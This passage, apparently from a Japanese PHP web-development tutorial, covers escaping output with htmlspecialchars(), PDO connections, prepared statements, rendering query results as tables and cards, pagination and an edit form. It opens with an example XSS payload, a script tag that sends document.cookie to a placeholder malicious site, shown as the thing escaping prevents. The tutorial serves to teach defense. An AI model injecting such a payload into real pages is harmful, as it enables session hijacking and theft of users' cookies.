data-enlighter-group=\"\">&lt;script&gt;document.location='https:\/\/\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30c8.com\/steal.php?cookie='+document.cookie&lt;\/script&gt;\n<\/pre>\n\n\n\n<p>\u3053\u308c\u3092\u305d\u306e\u307e\u307e\u51fa\u529b\u3059\u308b\u3068\u3001\u8a2a\u554f\u8005\u306e\u30d6\u30e9\u30a6\u30b6\u3067\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u3001Cookie\u304c\u76d7\u307e\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-20\">htmlspecialchars()\u306e\u4f7f\u7528\u65b9\u6cd5<\/h4>\n\n\n\n<p><code>htmlspecialchars()<\/code>\u95a2\u6570\u306f\u3001HTML\u306e\u7279\u6b8a\u6587\u5b57\u3092\u30a8\u30f3\u30c6\u30a3\u30c6\u30a3\u306b\u5909\u63db\u3059\u308b\u3053\u3068\u3067\u3001XSS\u653b\u6483\u3092\u9632\u304e\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u57fa\u672c\u7684\u306a\u4f7f\u7528\u6cd5\n$userInput = $_POST['comment'] ?? '';\n$safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');\n\necho \"&lt;div class='comment'&gt;{$safeOutput}&lt;\/div&gt;\";\n<\/pre>\n\n\n\n<p>\u3053\u306e\u95a2\u6570\u3067\u5909\u63db\u3055\u308c\u308b\u4e3b\u306a\u6587\u5b57\u306f\uff1a<\/p>\n\n\n<div id=\"id-1aed7a72-57aa-4a0c-876a-1fadc4b1c9f1\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u6587\u5b57<\/th><th>\u5909\u63db\u5f8c<\/th><\/tr><\/thead><tbody><tr><td><code>&lt;<\/code><\/td><td><code>&amp;lt;<\/code><\/td><\/tr><tr><td><code>&gt;<\/code><\/td><td><code>&amp;gt;<\/code><\/td><\/tr><tr><td><code>\"<\/code><\/td><td><code>&amp;quot;<\/code> (ENT_QUOTES\u30d5\u30e9\u30b0\u4f7f\u7528\u6642)<\/td><\/tr><tr><td><code>'<\/code><\/td><td><code>&amp;#039;<\/code> (ENT_QUOTES\u30d5\u30e9\u30b0\u4f7f\u7528\u6642)<\/td><\/tr><tr><td><code>&amp;<\/code><\/td><td><code>&amp;amp;<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p><strong>htmlspecialchars()\u306e\u91cd\u8981\u306a\u30d5\u30e9\u30b0<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>ENT_QUOTES<\/code>: \u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u3068\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\u306e\u4e21\u65b9\u3092\u30a8\u30b9\u30b1\u30fc\u30d7<\/li>\n\n\n\n<li><code>ENT_HTML5<\/code>: HTML5\u306e\u4ed5\u69d8\u306b\u6e96\u62e0<\/li>\n\n\n\n<li><code>ENT_SUBSTITUTE<\/code>: \u7121\u52b9\u306a\u6587\u5b57\u3092\u5b9f\u4f53\u53c2\u7167\u306b\u7f6e\u63db\uff08\u30c7\u30fc\u30bf\u640d\u5931\u9632\u6b62\uff09<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u63a8\u5968\u3055\u308c\u308b\u4f7f\u7528\u6cd5\n$userInput = $_POST['comment'] ?? '';\n$safeOutput = htmlspecialchars(\n    $userInput,\n    ENT_QUOTES | ENT_HTML5 | ENT_SUBSTITUTE,\n    'UTF-8'\n);\n\necho \"&lt;div class='comment'&gt;{$safeOutput}&lt;\/div&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<p>\u6587\u5b57\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u5e38\u306b\u6307\u5b9a\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u6307\u5b9a\u3057\u306a\u3044\u3068\u3001\u7279\u5b9a\u306e\u6587\u5b57\u30bb\u30c3\u30c8\u3067XSS\u653b\u6483\u304c\u53ef\u80fd\u306b\u306a\u308b\u5834\u5408\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-21\">\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u306e\u9023\u643a<\/h2>\n\n\n\n<p>\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u591a\u304f\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u9023\u643a\u3057\u3066\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3001\u5546\u54c1\u30c7\u30fc\u30bf\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u306a\u3069\u3092\u4fdd\u5b58\u30fb\u53d6\u5f97\u3057\u307e\u3059\u3002PHP\u306fMySQL\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u69d8\u3005\u306a\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u7c21\u5358\u306b\u9023\u643a\u3067\u304d\u308b\u6a5f\u80fd\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u7ae0\u3067\u306f\u3001PHP\u3068\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\uff08\u7279\u306bMySQL\uff09\u306e\u9023\u643a\u65b9\u6cd5\u3068\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u53d6\u5f97\u3057\u305f\u30c7\u30fc\u30bf\u3092HTML\u3067\u8868\u793a\u3059\u308b\u65b9\u6cd5\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-22\">MySQL\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092HTML\u3067\u8868\u793a\u3059\u308b\u65b9\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-23\">PDO\u3092\u4f7f\u7528\u3057\u305f\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u306e\u65b9\u6cd5<\/h4>\n\n\n\n<p>PHP\u3067\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3059\u308b\u65b9\u6cd5\u306f\u3044\u304f\u3064\u304b\u3042\u308a\u307e\u3059\u304c\u3001\u73fe\u5728\u6700\u3082\u63a8\u5968\u3055\u308c\u3066\u3044\u308b\u306e\u306fPDO\uff08PHP Data Objects\uff09\u3092\u4f7f\u7528\u3059\u308b\u65b9\u6cd5\u3067\u3059\u3002PDO\u306f\u7570\u306a\u308b\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u5bfe\u3057\u3066\u5171\u901a\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u63d0\u4f9b\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u3082\u5145\u5b9f\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306aPDO\u63a5\u7d9a<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\ntry {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u60c5\u5831\n    $host = 'localhost';\n    $dbname = 'myapp';\n    $username = 'dbuser';\n    $password = 'dbpass';\n    $charset = 'utf8mb4';\n    \n    \/\/ DSN (Data Source Name) \u306e\u69cb\u7bc9\n    $dsn = \"mysql:host=$host;dbname=$dbname;charset=$charset\";\n    \n    \/\/ \u63a5\u7d9a\u30aa\u30d7\u30b7\u30e7\u30f3\n    $options = [\n        PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION, \/\/ \u30a8\u30e9\u30fc\u6642\u306b\u4f8b\u5916\u3092\u30b9\u30ed\u30fc\n        PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC, \/\/ \u9023\u60f3\u914d\u5217\u3067\u30d5\u30a7\u30c3\u30c1\n        PDO::ATTR_EMULATE_PREPARES =&gt; false, \/\/ \u30a8\u30df\u30e5\u30ec\u30fc\u30c8\u3055\u308c\u305f\u30d7\u30ea\u30da\u30a2\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u7121\u52b9\u5316\n    ];\n    \n    \/\/ PDO\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u4f5c\u6210\uff08\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\uff09\n    $pdo = new PDO($dsn, $username, $password, $options);\n    \n    echo \"\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\u3057\u307e\u3057\u305f\";\n} catch (PDOException $e) {\n    \/\/ \u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\n    die(\"\u63a5\u7d9a\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage());\n}\n<\/pre>\n\n\n\n<p><strong>\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/strong>: \u5b9f\u904b\u7528\u74b0\u5883\u3067\u306f\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u60c5\u5831\u3092\u5225\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\u3001Git\u306a\u3069\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u7ba1\u7406\u304b\u3089\u306f\u9664\u5916\u3059\u308b\u3053\u3068\u3092\u304a\u3059\u3059\u3081\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ config.php\uff08\u30d0\u30fc\u30b8\u30e7\u30f3\u7ba1\u7406\u5bfe\u8c61\u5916\uff09\nreturn [\n    'db' =&gt; [\n        'host' =&gt; 'localhost',\n        'dbname' =&gt; 'myapp',\n        'username' =&gt; 'dbuser',\n        'password' =&gt; 'dbpass',\n        'charset' =&gt; 'utf8mb4',\n    ]\n];\n\n\/\/ database.php\n$config = require 'config.php';\n$db = $config['db'];\n\ntry {\n    $dsn = \"mysql:host={$db['host']};dbname={$db['dbname']};charset={$db['charset']}\";\n    $pdo = new PDO($dsn, $db['username'], $db['password'], [\n        PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,\n        PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,\n        PDO::ATTR_EMULATE_PREPARES =&gt; false,\n    ]);\n} catch (PDOException $e) {\n    die(\"\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage());\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-24\">\u30af\u30a8\u30ea\u7d50\u679c\u3092HTML\u30c6\u30fc\u30d6\u30eb\u306b\u5909\u63db\u3059\u308b\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n\n\n\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3057\u3001HTML\u30c6\u30fc\u30d6\u30eb\u3068\u3057\u3066\u8868\u793a\u3059\u308b\u57fa\u672c\u7684\u306a\u4f8b\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<p><strong>\u30d7\u30ea\u30da\u30a2\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u305f\u30c7\u30fc\u30bf\u53d6\u5f97<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30e6\u30fc\u30b6\u30fc\u30c6\u30fc\u30d6\u30eb\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\ntry {\n    \/\/ \u30d7\u30ea\u30da\u30a2\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u306e\u4f5c\u6210\n    $stmt = $pdo-&gt;prepare(\"SELECT id, name, email, created_at FROM users WHERE status = :status ORDER BY created_at DESC\");\n    \n    \/\/ \u30d1\u30e9\u30e1\u30fc\u30bf\u306e\u30d0\u30a4\u30f3\u30c9\n    $status = 'active';\n    $stmt-&gt;bindParam(':status', $status, PDO::PARAM_STR);\n    \n    \/\/ \u30af\u30a8\u30ea\u306e\u5b9f\u884c\n    $stmt-&gt;execute();\n    \n    \/\/ \u7d50\u679c\u306e\u53d6\u5f97\n    $users = $stmt-&gt;fetchAll();\n    \n    \/\/ \u7d50\u679c\u304c\u306a\u3044\u5834\u5408\u306e\u51e6\u7406\n    if (empty($users)) {\n        echo \"&lt;p&gt;\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u30e6\u30fc\u30b6\u30fc\u306f\u3044\u307e\u305b\u3093\u3002&lt;\/p&gt;\";\n    } else {\n        \/\/ HTML\u30c6\u30fc\u30d6\u30eb\u3068\u3057\u3066\u8868\u793a\n?&gt;\n        &lt;table class=\"user-table\"&gt;\n            &lt;thead&gt;\n                &lt;tr&gt;\n                    &lt;th&gt;ID&lt;\/th&gt;\n                    &lt;th&gt;\u540d\u524d&lt;\/th&gt;\n                    &lt;th&gt;\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9&lt;\/th&gt;\n                    &lt;th&gt;\u767b\u9332\u65e5&lt;\/th&gt;\n                &lt;\/tr&gt;\n            &lt;\/thead&gt;\n            &lt;tbody&gt;\n                &lt;?php foreach ($users as $user): ?&gt;\n                &lt;tr&gt;\n                    &lt;td&gt;&lt;?php echo htmlspecialchars($user['id']); ?&gt;&lt;\/td&gt;\n                    &lt;td&gt;&lt;?php echo htmlspecialchars($user['name']); ?&gt;&lt;\/td&gt;\n                    &lt;td&gt;&lt;?php echo htmlspecialchars($user['email']); ?&gt;&lt;\/td&gt;\n                    &lt;td&gt;&lt;?php echo htmlspecialchars($user['created_at']); ?&gt;&lt;\/td&gt;\n                &lt;\/tr&gt;\n                &lt;?php endforeach; ?&gt;\n            &lt;\/tbody&gt;\n        &lt;\/table&gt;\n&lt;?php\n    }\n} catch (PDOException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u91cd\u8981\u30dd\u30a4\u30f3\u30c8<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5fc5\u305a<code>htmlspecialchars()<\/code>\u3092\u4f7f\u7528\u3057\u3066XSS\u653b\u6483\u3092\u9632\u6b62\u3059\u308b<\/li>\n\n\n\n<li>\u30d7\u30ea\u30da\u30a2\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3067SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u9632\u6b62\u3059\u308b<\/li>\n\n\n\n<li>try-catch\u3067\u30a8\u30e9\u30fc\u3092\u9069\u5207\u306b\u51e6\u7406\u3059\u308b<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-25\">\u52d5\u7684\u306a\u30ea\u30b9\u30c8\u30fb\u30c6\u30fc\u30d6\u30eb\u306e\u751f\u6210\u65b9\u6cd5<\/h4>\n\n\n\n<p>\u30c6\u30fc\u30d6\u30eb\u4ee5\u5916\u306b\u3082\u3001\u30ea\u30b9\u30c8\u3084\u30ab\u30fc\u30c9\u306a\u3069\u306e\u5f62\u5f0f\u3067\u30c7\u30fc\u30bf\u3092\u8868\u793a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30ea\u30b9\u30c8\u5f62\u5f0f\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\ntry {\n    $stmt = $pdo-&gt;prepare(\"SELECT id, title, summary FROM articles WHERE category_id = :category_id ORDER BY published_at DESC LIMIT 10\");\n    $stmt-&gt;execute(['category_id' =&gt; $categoryId]);\n    $articles = $stmt-&gt;fetchAll();\n    \n    if (!empty($articles)):\n?&gt;\n    &lt;div class=\"article-list\"&gt;\n        &lt;h3&gt;\u6700\u65b0\u8a18\u4e8b&lt;\/h3&gt;\n        &lt;ul&gt;\n            &lt;?php foreach ($articles as $article): ?&gt;\n            &lt;li class=\"article-item\"&gt;\n                &lt;a href=\"article.php?id=&lt;?php echo htmlspecialchars($article['id']); ?&gt;\"&gt;\n                    &lt;h4&gt;&lt;?php echo htmlspecialchars($article['title']); ?&gt;&lt;\/h4&gt;\n                    &lt;p&gt;&lt;?php echo htmlspecialchars($article['summary']); ?&gt;&lt;\/p&gt;\n                &lt;\/a&gt;\n            &lt;\/li&gt;\n            &lt;?php endforeach; ?&gt;\n        &lt;\/ul&gt;\n    &lt;\/div&gt;\n&lt;?php\n    else:\n        echo \"&lt;p&gt;\u8a18\u4e8b\u304c\u3042\u308a\u307e\u305b\u3093\u3002&lt;\/p&gt;\";\n    endif;\n} catch (PDOException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u30ab\u30fc\u30c9\u30ec\u30a4\u30a2\u30a6\u30c8\u5f62\u5f0f\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\ntry {\n    $stmt = $pdo-&gt;prepare(\"SELECT id, title, image_url, price FROM products WHERE category = :category AND in_stock = 1 ORDER BY price ASC\");\n    $stmt-&gt;execute(['category' =&gt; $category]);\n    $products = $stmt-&gt;fetchAll();\n?&gt;\n    &lt;div class=\"product-grid\"&gt;\n        &lt;?php foreach ($products as $product): ?&gt;\n        &lt;div class=\"product-card\"&gt;\n            &lt;img src=\"&lt;?php echo htmlspecialchars($product['image_url']); ?&gt;\" alt=\"&lt;?php echo htmlspecialchars($product['title']); ?&gt;\"&gt;\n            &lt;h3&gt;&lt;?php echo htmlspecialchars($product['title']); ?&gt;&lt;\/h3&gt;\n            &lt;p class=\"price\"&gt;\u00a5&lt;?php echo number_format($product['price']); ?&gt;&lt;\/p&gt;\n            &lt;a href=\"product.php?id=&lt;?php echo htmlspecialchars($product['id']); ?&gt;\" class=\"btn\"&gt;\u8a73\u7d30\u3092\u898b\u308b&lt;\/a&gt;\n        &lt;\/div&gt;\n        &lt;?php endforeach; ?&gt;\n    &lt;\/div&gt;\n&lt;?php\n} catch (PDOException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-26\">\u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u306e\u5b9f\u88c5<\/h4>\n\n\n\n<p>\u5927\u91cf\u306e\u30c7\u30fc\u30bf\u3092\u6271\u3046\u5834\u5408\u3001\u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u306f\u4e0d\u53ef\u6b20\u3067\u3059\u3002\u4ee5\u4e0b\u306f\u57fa\u672c\u7684\u306a\u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u306e\u5b9f\u88c5\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u306e\u8a2d\u5b9a\n$perPage = 10; \/\/ 1\u30da\u30fc\u30b8\u3042\u305f\u308a\u306e\u8868\u793a\u4ef6\u6570\n$page = isset($_GET['page']) ? (int)$_GET['page'] : 1; \/\/ \u73fe\u5728\u306e\u30da\u30fc\u30b8\n$offset = ($page - 1) * $perPage; \/\/ \u30aa\u30d5\u30bb\u30c3\u30c8\n\ntry {\n    \/\/ \u7dcf\u4ef6\u6570\u306e\u53d6\u5f97\n    $countStmt = $pdo-&gt;prepare(\"SELECT COUNT(*) FROM products WHERE category = :category\");\n    $countStmt-&gt;execute(['category' =&gt; $category]);\n    $totalRecords = $countStmt-&gt;fetchColumn();\n    $totalPages = ceil($totalRecords \/ $perPage);\n    \n    \/\/ \u30c7\u30fc\u30bf\u306e\u53d6\u5f97\n    $stmt = $pdo-&gt;prepare(\"SELECT id, name, price FROM products WHERE category = :category ORDER BY name LIMIT :offset, :per_page\");\n    $stmt-&gt;bindParam(':category', $category, PDO::PARAM_STR);\n    $stmt-&gt;bindParam(':offset', $offset, PDO::PARAM_INT);\n    $stmt-&gt;bindParam(':per_page', $perPage, PDO::PARAM_INT);\n    $stmt-&gt;execute();\n    $products = $stmt-&gt;fetchAll();\n    \n    \/\/ \u5546\u54c1\u30ea\u30b9\u30c8\u306e\u8868\u793a\n    \/\/ \uff08\u3053\u3053\u3067\u5546\u54c1\u30ea\u30b9\u30c8\u3092\u8868\u793a\uff09\n    \n    \/\/ \u30da\u30fc\u30b8\u30cd\u30fc\u30b7\u30e7\u30f3\u30ea\u30f3\u30af\u306e\u8868\u793a\n    if ($totalPages &gt; 1):\n?&gt;\n    &lt;div class=\"pagination\"&gt;\n        &lt;?php if ($page &gt; 1): ?&gt;\n            &lt;a href=\"?category=&lt;?php echo urlencode($category); ?&gt;&amp;page=&lt;?php echo $page - 1; ?&gt;\" class=\"prev\"&gt;\u524d\u3078&lt;\/a&gt;\n        &lt;?php endif; ?&gt;\n        \n        &lt;?php for ($i = 1; $i &lt;= $totalPages; $i++): ?&gt;\n            &lt;?php if ($i == $page): ?&gt;\n                &lt;span class=\"current\"&gt;&lt;?php echo $i; ?&gt;&lt;\/span&gt;\n            &lt;?php else: ?&gt;\n                &lt;a href=\"?category=&lt;?php echo urlencode($category); ?&gt;&amp;page=&lt;?php echo $i; ?&gt;\"&gt;&lt;?php echo $i; ?&gt;&lt;\/a&gt;\n            &lt;?php endif; ?&gt;\n        &lt;?php endfor; ?&gt;\n        \n        &lt;?php if ($page &lt; $totalPages): ?&gt;\n            &lt;a href=\"?category=&lt;?php echo urlencode($category); ?&gt;&amp;page=&lt;?php echo $page + 1; ?&gt;\" class=\"next\"&gt;\u6b21\u3078&lt;\/a&gt;\n        &lt;?php endif; ?&gt;\n    &lt;\/div&gt;\n&lt;?php\n    endif;\n} catch (PDOException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-27\">\u30c7\u30fc\u30bf\u306e\u7de8\u96c6\u30fb\u524a\u9664\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e\u4f5c\u6210<\/h3>\n\n\n\n<p>\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u9023\u643a\u3059\u308b\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30c7\u30fc\u30bf\u306e\u8868\u793a\u3060\u3051\u3067\u306a\u304f\u3001\u7de8\u96c6\u3084\u524a\u9664\u306e\u6a5f\u80fd\u3082\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-28\">\u7de8\u96c6\u30d5\u30a9\u30fc\u30e0\u306e\u81ea\u52d5\u751f\u6210\u65b9\u6cd5<\/h4>\n\n\n\n<p>\u65e2\u5b58\u306e\u30c7\u30fc\u30bf\u3092\u7de8\u96c6\u3059\u308b\u30d5\u30a9\u30fc\u30e0\u3092\u4f5c\u6210\u3059\u308b\u4f8b\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u7de8\u96c6\u5bfe\u8c61\u306eID\u3092\u53d6\u5f97\n$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;\n\nif ($id &lt;= 0) {\n    die(\"\u6709\u52b9\u306aID\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002\");\n}\n\ntry {\n    \/\/ \u65e2\u5b58\u30c7\u30fc\u30bf\u306e\u53d6\u5f97\n    $stmt = $pdo-&gt;prepare(\"SELECT * FROM products WHERE id = :id\");\n    $stmt-&gt;execute(['id' =&gt; $id]);\n    $product = $stmt-&gt;fetch();\n    \n    if (!$product) {\n        die(\"\u6307\u5b9a\u3055\u308c\u305fID\u306e\u5546\u54c1\u306f\u5b58\u5728\u3057\u307e\u305b\u3093\u3002\");\n    }\n    \n    \/\/ \u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u6642\u306e\u51e6\u7406\n    if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n        \/\/ \u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u3068\u30c7\u30fc\u30bf\u66f4\u65b0\u306e\u30b3\u30fc\u30c9\n        \/\/ \uff08\u3053\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306f\u5f8c\u307b\u3069\u5b9f\u88c5\uff09\n    }\n?&gt;\n    &lt;!-- \u7de8\u96c6\u30d5\u30a9\u30fc\u30e0 --&gt;\n    &lt;form method=\"post\" action=\"\" class=\"edit-form\"&gt;\n        &lt;input type=\"hidden\" name=\"id\" value=\"&lt;?php echo htmlspecialchars($product['id']); ?&gt;\"&gt;\n        \n        &lt;div class=\"form-group\"&gt;\n            &lt;label for=\"name\"&gt;\u5546\u54c1\u540d:&lt;\/label&gt;\n            &lt;input type=\"text\" id=\"name\" name=\"name\" value=\"&lt;?php echo htmlspecialchars($product['name']); ?&gt;\" required&gt;\n        &lt;\/div&gt;\n        \n        &lt;div class=\"form-group\"&gt;\n            &lt;label for=\"description\"&gt;\u8aac\u660e:&lt;\/label&gt;\n            &lt;textarea id=\"description\" name=\"description\" rows=\"5\"&gt;&lt;?php echo htmlspecialchars($product['description']); ?&gt;&lt;\/textarea&gt;\n        &lt;\/div&gt;\n        \n        &lt;div class=\"form-group\"&gt;\n            &lt;label for=\"price\"&gt;\u4fa1\u683c:&lt;\/label&gt;\n            &lt;input type=\"number\" id=\"price\" name=\"price\" value=\"&lt;?php echo htmlspecialchars($product['price']); ?&gt;\" min=\"0\" required&gt;\n        &lt;\/div&gt;\n        \n        &lt;div class=\"form-group\"&gt;\n            &lt;label for=\"category\"&gt;\u30ab\u30c6\u30b4\u30ea:&lt;\/label&gt;\n            &lt;select id=\"category\" name=\"category\"&gt;\n                &lt;?php\n                \/\/ \u30ab\u30c6\u30b4\u30ea\u4e00\u89a7\u306e\u53d6\u5f97\n                $categories = $pdo-&gt;query(\"SELECT id, name FROM categories ORDER BY name\")-&gt;fetchAll();\n                foreach ($categories as $category) {\n                    $selected = ($category['id'] == $product['category_id']) ? 'selected' : '';\n                    echo \"&lt;option value=\\\"\" . htmlspecialchars($category['id']) . \"\\\" $selected&gt;\" . \n                         htmlspecialchars($category['name']) . \"&lt;\/option&gt;\";\n                }\n                ?&gt;\n            &lt;\/select&gt;\n        &lt;\/div&gt;\n        \n        &lt;div class=\"form-group\"&gt;\n            &lt;label for=\"status\"&gt;\u30b9\u30c6\u30fc\u30bf\u30b9:&lt;\/label&gt;\n            &lt;select id=\"status\" name=\"status\"&gt;\n                &lt;option value=\"active\" &lt;?php echo $product['status'] === 'active' 